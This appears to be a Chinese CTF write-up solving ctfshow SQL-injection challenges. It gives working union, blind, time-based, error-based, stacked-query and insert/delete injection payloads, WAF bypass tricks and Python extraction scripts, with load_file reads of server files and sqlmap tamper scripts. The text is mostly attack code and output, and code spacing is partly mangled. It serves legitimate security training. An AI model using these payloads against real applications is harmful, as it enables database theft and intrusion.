1' order by 4--+ -1' union select 1,2,3--+ -1' union select 1,2,database()--+ -1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+ -1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user')--+ -1' union select 1,2,(select password from ctfshow_user where username = 'flag')--+
-1' union select 1,2--+ -1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+ -1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user2')--+ -1' union select 1,(select password from ctfshow_user2 where username = 'flag')--+
这样可以打,不过如果是这样的话就不行了
1
-1' union select 1,(select username,password from ctfshow_user2 where username = 'flag')--+
-1' union select 1,2,3--+ -1' union select 1,2,database()--+ -1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+ -1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user3')--+ -1' union select 1,2,(select password from ctfshow_user3 where username='flag')--+
#payload = f"1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+" #payload = f"1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{i},1))>{mid},1,0)--+" payload = f"1' and if(ascii(substr((select password from ctfshow_user4 where username='flag'),{i},1))>{mid},1,0)--+" print(payload) r = requests.get(url+"?id="+payload) if"admin"in r.text: head = mid + 1 else: tail = mid
if head != 32: result += chr(head) else: break print(result)
result = "" i = 0 whileTrue: i = i + 1 head = 32 tail = 127
while head < tail: mid = (head + tail) // 2
#payload = f"?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(4),0)--+" #payload = f"?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(4),0)--+" payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(4),0)--+" print(payload)
start_time = time.time() r = requests.get(url+payload) request_time = time.time()-start_time
if request_time > 4 : print(f"成功延迟,ascii>{mid}") head = mid + 1 else: print(f"未延迟,ascii<={mid}") tail = mid if head != 32: result += chr(head) else: break print(result) print(result)
过滤注入
web176
万能密码可以做
fuzz一下发现过滤了select
在mysql中对大小写是不敏感的,只要waf没有对大小写限制就可以用大写去绕过
1 2 3 4
-1' union Select 1,2,3--+ -1' union Select 1,2,(Select group_concat(table_name)from information_schema.tables where table_schema=database())--+ -1' union Select 1,2,(Select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user')--+ -1' union Select 1,2,password from ctfshow_user where username='flag'--+
flag = "ctfshow{" for i inrange(100): for j in string: payload = f"(ctfshow_user)where(pass)like'{flag+j}%'" data = { "tableName" : payload } r = requests.post(url, data=data) if"$user_count = 1;"in r.text: flag +=j print(flag) break if j == "}": exit()
flag = "ctfshow{" for i inrange(9,50): for j inrange(32,127): payload = f"ctfshow_user as a left join ctfshow_user as b on (substr(a.pass,{i},1)regexp(char({j})))" data = { "tableName" : payload, } print(data) r = requests.post(url, data=data) if"$user_count = 43;"in r.text: ifchr(j) != ".": flag += chr(j) print(flag) break ifchr(j) == "}": exit()
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}" defasc2hex(s): a1 = '' a2 = '' for i in s: a1+=hex(ord(i)) a2 = a1.replace("0x","") return a2 #将输入的字符转化成十六进制 #通过迭代字符串 s 中的每个字符,用 ord() 获得其 ASCII 值,然后用 hex() 转换为十六进制,并去除前缀 0x,最后拼接成一个连续的字符串。 flag = "ctfshow{" for i inrange(0,100): for j in letter: temp_flag = flag+j data ={ "tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%")) } #print(data["tableName"])
r = requests.post(url=url,data=data) if"$user_count = 1;"in r.text: flag += j print(flag) break else: continue
tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))
解释后的payload
1
tableName=ctfshow_user group by pass having pass regexp(ctf)
flag = 'ctfshow' flagstr = '' strdict = {'0':'false,','1':'true,','2':'(true+true),', '3':'(true+true+true),','4':'(true+true+true+true),', '5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),', '7':'(power((true+true),(true+true+true))-true),', '8':'(power((true+true),(true+true+true))),', '9':'(power((true+true),(true+true+true))+true),' } for i inrange(100): for j in strlist: m = '' for x instr(ord(j)): m += strdict[x] m = 'char(concat('+m[:-1]+')),'#去除末尾的分号
payload = f'ctfshow_user group by pass having pass regexp(concat({flagstr+m[:-1]}))' data = { 'tableName' : payload, } print(payload) r = requests.post(url=url,data=data) if'$user_count = 1;'in r.text: print(f'---------------匹配成功---------------') flag += j flagstr += m print(flag) break if flag[-1] == '}': exit()
url = 'http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php' payload = 'ctfshow_user group by pass having pass like(concat({}))' target = 'ctfshow{'
defcreateNum(n): num = 'true' if n == 1: return'true' else: for i inrange(n - 1): num += "+true" return num
defcreateStrNum(c): str = '' str += 'chr(' + createNum(ord(c[0])) + ')' for i in c[1:]: str += ',chr(' + createNum(ord(i)) + ')' returnstr
flag = "" for i inrange(257,500):#这是flag在文件中的起始位置 for j inrange(127): x = chr(j) payload = f"if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{x}',1,0)" data = { "username" : payload, "password" : 0 } print(payload) r = requests.post(url, data=data) if"8d25"in r.text: print(f"----------{x} is right----------") flag += chr(j) print(flag) break if"}"in flag: print(flag) exit()
url = "http://d4303d22-ec75-4911-8e63-4c300d980ac6.challenge.ctf.show/api/" i = 0
flag = ""
whileTrue: i = i + 1 head = 32 tail = 127
while head < tail: mid = (head + tail) // 2 #payload = f"admin' and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#" #payload = f"admin' and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid},1,0)#" payload = f"admin' and if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))>{mid},1,0)#"
data = { "username" : payload, "password" : 0, } print(data) r = requests.post(url, data=data) if"u8bef"in r.text: head = mid + 1 else : tail = mid if head != 32: flag += chr(head) print(flag) else : break print(flag)
dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_" flag = ""
for i inrange(1,50): sign = 0 for j indict: #payload = "admin' and (select database()) like '{}'#".format(flag+j+'%') #payload = "admin' and (select group_concat(table_name)from information_schema.tables where table_schema=database()) like '{}'#".format(flag+j+'%') #payload = "admin' and (select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg') like '{}'#".format(flag+j+'%') payload = "admin' and (select f1ag from ctfshow_flxg) like '{}'#".format(flag+j+'%') data = { "username": payload, "password": 0, } print(payload) r = requests.post(url, data=data) if"\\u5bc6\\u7801\\u9519\\u8bef"in r.text: flag += j sign = 1 print(flag) break if sign == 0: break print(flag)
[23:23:58] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable GET 参数 'id' 被判断为可注入,且具体注入方式为基于布尔值的盲注。 [23:23:58] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 扩展的启发式测试表明,后端数据库管理系统(DBMS)可能是 MySQL。 it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y 似乎后端数据库管理系统是 MySQL。您是否希望跳过适用于其他数据库管理系统的测试有效载荷?输入 [Y/n] 表示选择是或否。选择 'y' 表示跳过。 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y 对于剩余的测试,您是否希望包括所有针对 MySQL 的测试,并扩展预设的等级(1)和风险(1)值?输入 [Y/n] 表示选择是或否。选择 'y' 表示包含所有测试。
1 2
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y GET 参数 'id' 存在漏洞。您是否希望继续测试其他参数(如果有的话)?输入 [y/N] 表示选择是或否。选择 'y' 意味着继续进行其他参数的测试。
python #!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal
python !/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 * SQLite 3 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> import random >>> random.seed(0) >>> tamper('INSERT') 'InSeRt' >>> tamper('f()') 'f()' >>> tamper('function()') 'FuNcTiOn()' >>> tamper('SELECT id FROM `user`') 'SeLeCt id FrOm `user`' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): word = match.group() if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: while True: _ = "" for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() if len(_) > 1 and _ not in (_.lower(), _.upper()): break retVal = retVal.replace(word, _) return retVal
ip=1) or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)%23&debug=1
url = "http://e37fb63a-1945-44db-9885-cfa468e30d51.challenge.ctf.show/api/" i = 0 flag = ""
whileTrue: i = i + 1 head = 32 tail = 127
while head < tail: mid = (head + tail) // 2
#payload = f"1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#" #payload = f"1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))>{mid},(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#" payload = f"1) or if(ascii(substr((select flagaac from ctfshow_flagxc),{i},1))>{mid},(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#" data = { "ip" : payload, "debug" : 1, } print(payload) start = time.time() r = requests.post(url, data=data) end = time.time() - start
if end > 1: head = mid + 1 else : tail = mid if head != 32: flag += chr(head) print(flag) else: break print(flag)
回来做一下rlike的做法,常规测延迟
1
ip=1) or if(ascii(substr(database(),1,1))>0,(select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE concat(repeat('(a.*)+',7),'b')),0)#&debug=1
url = "http://91f68e53-629c-42c8-9ba1-dc0fa6092341.challenge.ctf.show/api/" i = 0 flag = ""
whileTrue: i = i + 1 head = 32 tail = 127
while head < tail: mid = (head + tail) // 2
#payload = f"1) or if(ascii(substr(database(),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" #payload = f"1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" #payload = f"1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" payload = f"1) or if(ascii(substr((select flagaabc from ctfshow_flagxca),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" data = { "ip" : payload, "debug" : 1, } start = time.time() r = requests.post(url, data=data) end = time.time() - start
if end > 2.5: head = mid + 1 else : tail = mid if head != 32: flag += chr(head) print(flag) else: break print(flag)
web220
1 2 3 4
//屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str); }
这里过滤还是挺多的,但是之前也学过绕过的方法了
字符集遍历绕过ascii就行,left+like绕过substr和mid,然后盲注的话用笛卡尔就行
试着写一下payload
1
ip=1) or if(left(database(),{i})= \"{flag+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#&debug=1
target = "" for i inrange(1,100): found = 0 for j in strings: #payload = f"1) or if(left(database(),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" #payload = f"1) or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" #payload = f"1) or if(left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" payload = f"1) or if(left((select flagaabcc from ctfshow_flagxcac limit 0,1),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" #print(payload) data = { "ip": payload, "debug": 1, } start = time.time() r = requests.post(url, data=data) end = time.time() - start if end >= 4: found = 1 target += j print(target) break ifnot found: print(target) exit()
其他注入
limit注入
web221
查询语句
1 2 3
//分页查询 $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
?username=-1';PREPARE test from 0x73686f7720646174616261736573;execute test;--+ ctfshow_web
?username=-1';PREPARE test from 0x73686f77207461626c6573;execute test;--+ ctfsh_ow_flagas
?username=-1';PREPARE test from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute test;--+ data":[{"id":"1","flagasb":"ctfshow{f48205fc-3fcc-42c3-9ca7-bb5ee5018ded}","info":"you get it"}]}
password=\&username=,username=(select group_concat(table_name)from information_schema.tables where table_schema=database())--+ 数据表名:banlist,ctfshow_user,flag233333
password=\&username=,username=(select group_concat(column_name)from information_schema.columns where table_name='flag233333')--+ 字段名:id,flagass233,info
password=\&username=,username=(select flagass233 from flag233333)--+
我发现过滤单引号只是在password中的,username中用单引号不影响
web234
这里连username的单引号也过滤了,不过也可以用双引号
1 2 3 4
password=\&username=,username=(select group_concat(column_name)from information_schema.columns where table_name="flag23a")--+ 字段名:id,flagass23s3,info
password=\&username=,username=(select flagass23s3 from flag23a)--+
web235
过滤了or和单引号,这样的话information_schema库就用不了了,打无列名注入
用mysql的innodb_index_stats表
1 2 3 4 5
password=\&username=,username=(select group_concat(database_name) from mysql.innodb_index_stats)--+ 库名:忘记了没看到
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())--+ 表名:banlist,ctfshow_user,flag23a1
然后用union取别名爆数据
1
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)--+
这里需要limit限制输出,不然结果出不来
web236
多过滤了flag,先看看表名是什么
1 2
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())--+ banlist,ctfshow_user,flaga
但是好像在username中没有禁用flag,只是在password中禁用了
1
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,1)a)--+
insert 注入
web237
1
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
这里还是一样的,不过需要结束前面的insert语句
记得需要闭合后面的括号
在添加里面传入payload
1
username=1',(select database()));#&password=
插入语句
1
$sql = "insert into ctfshow_user(username,pass) value('1',(select database()));#','');";
payload
1 2 3 4 5 6 7 8 9 10
username=1',(select group_concat(schema_name) from information_schema.schemata))#&password=1 库名:ctfshow_web
username=2',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1 表名:banlist,ctfshow_user,flag
username=3',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=1 字段名:id,flagass23s3,info
username=4',(select flagass23s3 from flag))#&password=1
for a1 in"ab": for a2 in"ab": for a3 in"ab": for a4 in"ab": for a5 in"ab": payload='flag'+a1+a2+a3+a4+a5 data={ 'username':f"1',(select(flag)from({payload})))#", 'password':'1' } r=requests.post(url=url,data=data)
最后刷新一下页面看看添加的结果就行
delete 注入
web241
1 2
//删除记录 $sql = "delete from ctfshow_user where id = {$id}";
//备份表 $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
payload
1 2 3 4 5 6 7 8
/api/?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 回显~ctfshow_web~
/api/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+ 回显~banlist,ctfshow_flag,ctfshow_us
/api/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+ 回显~id,flag,info~
后面发现无法全部显示,换成left和right去分别输出吧
1 2 3 4 5
/api/?id=1' or updatexml(1,concat(0x7e,left((select flag from ctfshow_flag),30),0x7e),1)--+ ~ctfshow{ee4ca922-a90b-4041-bf5~
/api/?id=1' or updatexml(1,concat(0x7e,right((select flag from ctfshow_flag),30),0x7e),1)--+ ~2-a90b-4041-bf53-f5a23fa9d0a6}~
拼接后就是
1
ctfshow{ee4ca922-a90b-4041-bf53-f5a23fa9d0a6}
web245
过滤updatexml那就用另一个extractvalue呗
1
/api/?id=1' or extractvalue(1,concat(0x7e,(select version())))--+
回显
1
~10.3.18-MariaDB
那直接打就行
1 2 3 4 5 6 7 8 9 10 11
/api/?id=1' or extractvalue(1,concat(0x7e,(select database())))--+ 回显~ctfshow_web
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+ 回显~banlist,ctfshow_flagsa,ctfshow_
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagsa')))--+ 回显~id,flag1,info
/api/?id=1' or extractvalue(1,concat(0x7e,left((select flag1 from ctfshow_flagsa),30)))--+ /api/?id=1' or extractvalue(1,concat(0x7e,right((select flag1 from ctfshow_flagsa),30)))--+
web246
1
过滤updatexml extractvalue
xpath报错走不了了,用group by 报错注入
floor(rand(0)2) 产生的随机数的*前六位 一定是 “011011”
然后我们的payload就是
1 2
/api/?id=1' union select count(*),2,concat((select database()),0x7e,floor(rand(0)*2))as a from information_schema.tables group by a--+ 回显ctfshow_web~1
后面一直没成功,我以为是概率问题,结果发现是有限制输出长度
用切片函数去分段输出
1 2 3 4 5 6 7
/api/?id=1' union select 1,count(*),concat(left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),30),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flags'),30),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(left((select flag2 from ctfshow_flags),30),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(right((select flag2 from ctfshow_flags),30),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
web247
1
过滤updatexml extractvalue floor
说明上面的是预期解,我们继续用别的方法
1 2 3 4 5 6 7
ceil()-向上取整函数 ceil(x) 返回不小于 x 的最小整数,即向上取整。 例如,ceil(3.14) 返回 4。
round() - 四舍五入函数 round(x) 返回最接近 x 的整数,如果有两个整数与 x 距离相等,则返回偶数的整数。 例如,round(3.6) 返回 4,round(3.5) 返回 4,round(3.4) 返回 3。
payload
1 2 3 4 5 6 7 8 9
/api/?id=1' union select count(*),2,concat((select database()),0x7e,round(rand(0)*2))as a from information_schema.tables group by a--+
/api/?id=1' union select count(*),2,concat((select database()),0x7e,ceil(rand(0)*2))as a from information_schema.tables group by a--+
回显ctfshow_web~1
/api/?id=1' union select 1,count(*),concat(0x7e,left((select group_concat(table_name)from information_schema.tables where table_schema=database()),30),0x7e,round(rand(0)*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(0x7e,left((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagsa'),30),0x7e,round(rand(0)*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(0x7e,left((select `flag?` from ctfshow_flagsa),30),0x7e,round(rand(0)*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(0x7e,right((select `flag?` from ctfshow_flagsa),30),0x7e,round(rand(0)*2))a from information_schema.tables group by a--+
UDF注入
web248
UDF提权
1
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";